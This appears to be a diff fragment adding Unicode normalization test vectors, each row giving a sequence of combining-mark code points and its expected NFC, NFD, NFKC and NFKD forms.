+{ source: [0x0061, 0x08DF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E0, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E1, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08E3, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08E3, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08E3, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08E3, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08E3, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08E3, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08E3, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08E3, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08E3, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08E3, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E4, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E5, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08E6, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08E6, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08E6, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08E6, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08E6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08E6, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08E6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08E6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08E6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08E6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E7, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E8, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08E9, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08E9, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08E9, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08E9, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08E9, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08E9, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08E9, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08E9, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08E9, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08E9, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08EA, 0x0062], NFC: [0x00E0, 0x05AE, 0x08EA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08EA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08EA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08EA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08EA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08EA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08EA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08EA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08EA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08EB, 0x0062], NFC: [0x00E0, 0x05AE, 0x08EB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08EB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08EB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08EB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08EB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08EB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08EB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08EB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08EB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08EC, 0x0062], NFC: [0x00E0, 0x05AE, 0x08EC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08EC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08EC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08EC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08EC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08EC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08EC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08EC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08EC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08ED, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08ED, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08ED, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08ED, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08ED, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08ED, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08ED, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08ED, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08ED, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08ED, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08EE, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08EE, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08EE, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08EE, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08EE, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08EE, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08EE, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08EE, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08EE, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08EE, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08EF, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08EF, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08EF, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08EF, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08EF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08EF, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08EF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08EF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08EF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08EF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x064C, 0x064B, 0xFB1E, 0x08F0, 0x0062], NFC: [0x0061, 0xFB1E, 0x064B, 0x08F0, 0x064C, 0x0062], NFD: [0x0061, 0xFB1E, 0x064B, 0x08F0, 0x064C, 0x0062], NFKC: [0x0061, 0xFB1E, 0x064B, 0x08F0, 0x064C, 0x0062], NFKD: [0x0061, 0xFB1E, 0x064B, 0x08F0, 0x064C, 0x0062] },
+{ source: [0x0061, 0x08F0, 0x064C, 0x064B, 0xFB1E, 0x0062], NFC: [0x0061, 0xFB1E, 0x08F0, 0x064B, 0x064C, 0x0062], NFD: [0x0061, 0xFB1E, 0x08F0, 0x064B, 0x064C, 0x0062], NFKC: [0x0061, 0xFB1E, 0x08F0, 0x064B, 0x064C, 0x0062], NFKD: [0x0061, 0xFB1E, 0x08F0, 0x064B, 0x064C, 0x0062] },
+{ source: [0x0061, 0x064D, 0x064C, 0x064B, 0x08F1, 0x0062], NFC: [0x0061, 0x064B, 0x064C, 0x08F1, 0x064D, 0x0062], NFD: [0x0061, 0x064B, 0x064C, 0x08F1, 0x064D, 0x0062], NFKC: [0x0061, 0x064B, 0x064C, 0x08F1, 0x064D, 0x0062], NFKD: [0x0061, 0x064B, 0x064C, 0x08F1, 0x064D, 0x0062] },
+{ source: [0x0061, 0x08F1, 0x064D, 0x064C, 0x064B, 0x0062], NFC: [0x0061, 0x064B, 0x08F1, 0x064C, 0x064D, 0x0062], NFD: [0x0061, 0x064B, 0x08F1, 0x064C, 0x064D, 0x0062], NFKC: [0x0061, 0x064B, 0x08F1, 0x064C, 0x064D, 0x0062], NFKD: [0x0061, 0x064B, 0x08F1, 0x064C, 0x064D, 0x0062] },
+{ source: [0x0061, 0x0618, 0x064D, 0x064C, 0x08F2, 0x0062], NFC: [0x0061, 0x064C, 0x064D, 0x08F2, 0x0618, 0x0062], NFD: [0x0061, 0x064C, 0x064D, 0x08F2, 0x0618, 0x0062], NFKC: [0x0061, 0x064C, 0x064D, 0x08F2, 0x0618, 0x0062], NFKD: [0x0061, 0x064C, 0x064D, 0x08F2, 0x0618, 0x0062] },
+{ source: [0x0061, 0x08F2, 0x0618, 0x064D, 0x064C, 0x0062], NFC: [0x0061, 0x064C, 0x08F2, 0x064D, 0x0618, 0x0062], NFD: [0x0061, 0x064C, 0x08F2, 0x064D, 0x0618, 0x0062], NFKC: [0x0061, 0x064C, 0x08F2, 0x064D, 0x0618, 0x0062], NFKD: [0x0061, 0x064C, 0x08F2, 0x064D, 0x0618, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08F3, 0x0062], NFC: [0x00E0, 0x05AE, 0x08F3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08F3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08F3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08F3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08F3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08F3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08F3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08F3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08F3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08F4, 0x0062], NFC: [0x00E0, 0x05AE, 0x08F4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08F4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08F4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08F4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08F4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08F4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08F4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08F4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08F4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08F5, 0x0062], NFC: [0x00E0, 0x05AE, 0x08F5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08F5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08F5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08F5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08F5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08F5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08F5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08F5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08F5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08F6, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08F6, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08F6, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08F6, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08F6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08F6, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08F6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08F6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08F6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08F6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08F7, 0x0062], NFC: [0x00E0, 0x05AE, 0x08F7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08F7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08F7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08F7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08F7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08F7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08F7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08F7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08F7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08F8, 0x0062], NFC: [0x00E0, 0x05AE, 0x08F8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08F8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08F8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08F8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08F8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08F8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08F8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08F8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08F8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08F9, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08F9, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08F9, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08F9, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08F9, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08F9, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08F9, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08F9, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08F9, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08F9, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08FA, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08FA, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08FA, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08FA, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08FA, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08FA, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08FA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08FA, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08FA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08FA, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08FB, 0x0062], NFC: [0x00E0, 0x05AE, 0x08FB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08FB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08FB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08FB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08FB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08FB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08FB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08FB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08FB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08FC, 0x0062], NFC: [0x00E0, 0x05AE, 0x08FC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08FC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08FC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08FC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08FC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08FC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08FC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08FC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08FC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08FD, 0x0062], NFC: [0x00E0, 0x05AE, 0x08FD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08FD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08FD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08FD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08FD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08FD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08FD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08FD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08FD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08FE, 0x0062], NFC: [0x00E0, 0x05AE, 0x08FE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08FE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08FE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08FE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08FE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08FE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08FE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08FE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08FE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08FF, 0x0062], NFC: [0x00E0, 0x05AE, 0x08FF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08FF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08FF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08FF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08FF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08FF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08FF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08FF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08FF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x093C, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x093C, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x094D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x094D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0951, 0x0062], NFC: [0x00E0, 0x05AE, 0x0951, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0951, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0951, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0951, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0951, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0951, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0951, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0951, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0951, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0952, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0952, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0952, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0952, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0952, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0952, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0952, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0952, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0952, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0952, 0x0316, 0x059A, 0x0062] },
